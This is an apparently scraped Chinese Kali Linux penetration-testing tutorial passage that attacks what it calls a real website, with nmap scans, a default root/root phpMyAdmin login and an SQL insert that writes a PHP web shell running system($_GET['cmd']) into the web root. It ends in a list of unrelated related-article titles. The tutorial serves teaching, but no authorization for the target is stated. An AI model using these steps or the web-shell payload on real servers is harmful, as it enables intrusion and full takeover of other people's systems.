目录

1.4小试牛刀

本节作为第一章的最后一节,给大家展示一个渗透测试的简单示例。该示例操作简单,环境真实,主要是为了给您一个整体上的感知,同时提升学习渗透测试的兴趣。渗透测试的每一步并没有记录完整的细节信息。

首先,我选择了一个测试站点,下面对该站点,下面对其进行渗透测试。

1.4.1信息搜集

whois查询

结果如下:

服务指纹识别

很多个人站点,都没有自定义错误信息的习惯。在url上随便输入一个不存在的地址,看是否会返回有用的信息。

通过上图,我们知道该站点的应用程序由php编写,web服务器为Apathe/2.2.22,操作系统为Ubuntu。

下面我们通过指纹识别工具,进行识别。

在终端启动nmap,输入如下命令:

nmap -A -T4 www.xxxxoooo.cn

如图,识别出来的服务和系统信息与报错信息一致。

端口扫描

在终端执行如下命令,使用nmap的tcp半开扫描方式来扫描打开的端口。

nmap -sS

综合性扫描

该站点是需要登录的,所以在非登录情况下,常规扫描一般情况下意义不大。但是做一个基本的站点扫描还是必须的。当然很多工具是支持登录扫描的。

因为是web应用,一般情况下,我们是需要进行完整的web应用的漏洞扫描的。本实例忽略此步骤。

1.4.2发现漏洞

对于web应用,我们通常从操作系统、服务、应用本身三个方面来挖掘漏洞。

从站点应用上分析,一般的php程序会安装phpmyadmin组件,用来管理数据库。google一下,我们就会知道phpmyadmin默认安装在站点根目录下。测试一下当前站点是否也在默认目录下安装了phpmyadmin呢?

ok,确实存在phpmyadmin。

继续google“phpmyadmin默认用户名密码”。Googele之后,我们知道:“phpMyAdmin默认使用的是MySQL的帐户和密码”。MySql的默认账户是root,默认密码是空,但是phpmyadmin是不允许空密码的。

继续Google“inurl: phpmyadmin”,可以看到很多关于phpmyadmin的文章。

这些文章略过,google“hack phpmyadmin”,看看有什么发现?

很多站点都配置默认密码为root。是不是也可以尝试下呢?

输入用户名root,密码root,奇迹就这么出现了,直接登录管理后台。

进入后台之后,我们得到了更为详尽的信息,为我们下一步攻击打下了基础

1.4.3攻击与权限维持

上面的步骤,我们完成了对网站数据库的攻击,其实拿到了网站数据库,就是拿到了整个网站的控制权。

如何利用phpmyadmin进行提权,从而得到服务器的控制权呢?

目前在phpmyadmin后台,我们可以操作表,向表中写数据,如果数据库有权限dump数据到web站点所在的文件夹,那么可以先将一个网马写到数据库再保存到磁盘本地,再从浏览器访问网马,是不是就可以了呢?

首先在phpmyadmin后台找到一个数据库,在“SQL”选项卡执行sql语句创建一个表“hacker”。

语句执行成功后,再插入一条数据,代码很简单,希望能用php的system函数执行系统指令。

INSERT INTO hacker (packet)

VALUES(

'

 @system($_GET["cmd"]);

?>

'

);

下一步就是保存插入的记录到站点目录下,但是站点的物理路径是什么呢?我在观察页面请求链接的时候,发现一个404链接。

404链接的路径是。这个是进行网站开发时候常犯的静态链接的错误,那是不是说网站的根目录在”/var/www”下呢,我把去掉”/var/www”,文件可以被正常访问。其实这也是ubuntu默认的站点目录。接下来就试试有没有权限保存文件了。

经过一番查找,终于找到一个有写权限的目录,将网马写到web目录中,得到了webshell,接下来就不用详解了吧。

小结

这个简单的小例子,只是想告诉大家,渗透测试有什么并没有那么困难。也没有哪种方法,哪个工具或者平台是万能的,最重要的是你自己的努力和思考。

从下一节开始,我们正式进入渗透测试的学习之旅。

2.1节--《DNS信息搜集》。

kali数据库渗透_Kali Linux渗透测试实战 1.4 小试牛刀相关推荐

  1. shell 工具_Kali Linux渗透工具【八】:系统命令注入漏洞工具 – Commix使用

    声明:[Kali与编程]所有分享,仅做学习交流,切勿用于任何不法用途,否则后果自负! 一.Commix是什么? Commix由Python编写的一款工具,它是一个适用于web开发者.渗透测试人员及安全 ...

  2. kali无限登录_Kali Linux没有无线网卡?玩个锤纸~

    一.USB无限网卡 使用Kali linux,先准备好一个适合Kali系统的USB外置无限网卡,注意内置网卡并不适合渗透测试. Linux系统的指令相对于一般人来说比较晦涩难懂,最好选择免驱动类型,省 ...

  3. kali装电脑_Kali Linux可以安装到平板电脑吗?

    在用Windows的电脑上克隆Kali 插入U盘.运行Win32 Disk Imager. 选择Kali Linux ISO文件作为被克隆的文件,然后核实要克隆的U盘是否正确. 克隆完成后,从Wind ...

  4. kali下载速度慢_kali Linux 2020.1最新安装教程,绝对能帮你安装好!不是root、没有桌面、中文乱码、下载太慢、ssh链接等问题!...

    既然已经开始研究kali Linux,小编就认为在下已经有了一定的基础.当然小编也是个小白用户.本人用的是Vmware虚拟机,这里只说一点,内存我选择的是4g因为这个包含桌面,所以稍微大一点.Linx ...

  5. kali 更新源_KALI Linux更新源减少手动安装依赖文件

    #################################################################################################### ...

  6. linux 渗透 密码,linux渗透中常用命令+Tip

    1. bash attacker 监听 nc -lvvp 4444 victim 运行 bash -i >& /dev/tcp//4444 0>&1 2. python a ...

  7. 视频教程-Kali Linux渗透测试基础入门到进阶实战全程课-渗透测试

    Kali Linux渗透测试基础入门到进阶实战全程课 本人有多年的服务器高级运维与开发经验,擅长计算机与服务器攻防及网络攻防技术!对网络安全领域有持续的关注和研究! 林晓炜 ¥499.00 立即订阅 ...

  8. Kali Linux渗透测试——MSF实战篇(一)

    笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程 文章目录 一.信息收集 (一)db_nmap (二)Auxiliary模块 1.arp扫描 2.端口扫描 3.空闲扫描 4.UDP扫 ...

  9. 视频教程-Kali Linux渗透测试全程课与脚本语言编程系列课程-渗透测试

    Kali Linux渗透测试全程课与脚本语言编程系列课程 本人有多年的服务器高级运维与开发经验,擅长计算机与服务器攻防及网络攻防技术!对网络安全领域有持续的关注和研究! 林晓炜 ¥899.00 立即订 ...

最新文章

  1. Java中System.getProperty()的参数
  2. 下列不属于python第三方库的是-测验9: Python计算生态纵览 (第9周)-单选题
  3. 一起教育科技递交招股书:收入增速超277.48%,或成纳斯达克最大教育概念股
  4. 天翼云从业认证(4.2)网站建设实战
  5. 使用FreeRTOS进行性能和运行时分析
  6. Android 四大组件学习之ContentProvider三
  7. CentOS 安装 PPTP ××× 客户端安装脚本
  8. java断点上传分片保存方案_分片上传与断点续传解决方案
  9. 最最简单的几个Mac终端命令
  10. 内存颗粒位宽和容量_内存颗粒有没有多与少的区别啊?或者说比较多的颗粒比少的颗粒好些?...
  11. 短信api接口的一些使用建议
  12. python全栈工程师待遇如何_python全栈工程师工作待遇
  13. 文科生都能看得懂的贝叶斯定理,从白袜到飞机失事再到人工智能
  14. 用python画一个简单卡通人物,Python绘制可爱的卡通人物 | 【turtle使用】
  15. 服务器安装配置elasticsearch,kibana,IK分词器和拼音分词器,集群搭建教程
  16. Abnova ProteoScreen - 组织微阵列抗体详解
  17. Tailwind Spacing
  18. 百度webgis-api-加载卫星影像图
  19. 【PSTOOLS】PSEXEC 启动远程机器上的程序没有UI显示
  20. jsp页面显示源码实现

热门文章

  1. java的var与auto_java – @Autowired和default-autowire可以共存吗?
  2. ios把数据传递到另一个页面_iOS页面跳转及数据传递(三种)
  3. linux bsd命令,科学网—Linux/BSD下join命令使数据以tab为分隔符的方法 - 李雷廷的博文...
  4. linux pn,Linux环境变量设置--总结
  5. div默认外边距是多少_CSS盒模型之内边距、边框、外边距 十九问(持续更新)...
  6. 搭建apache_??4、Apache环境web搭建
  7. java 试卷自动生成_基于JAVA的试题自动生成系统 - WEB源码|JSP源码/Java|源代码 - 源码中国...
  8. autocad支持python吗_利用python控制Autocad:pyautocad方式
  9. 仅展示近三天的动态设置_朋友圈设置仅3天可见,一般是这3类人,看看你是否在其中?...
  10. 测试工程师因迟到和人事大吵一架,结果人事被开除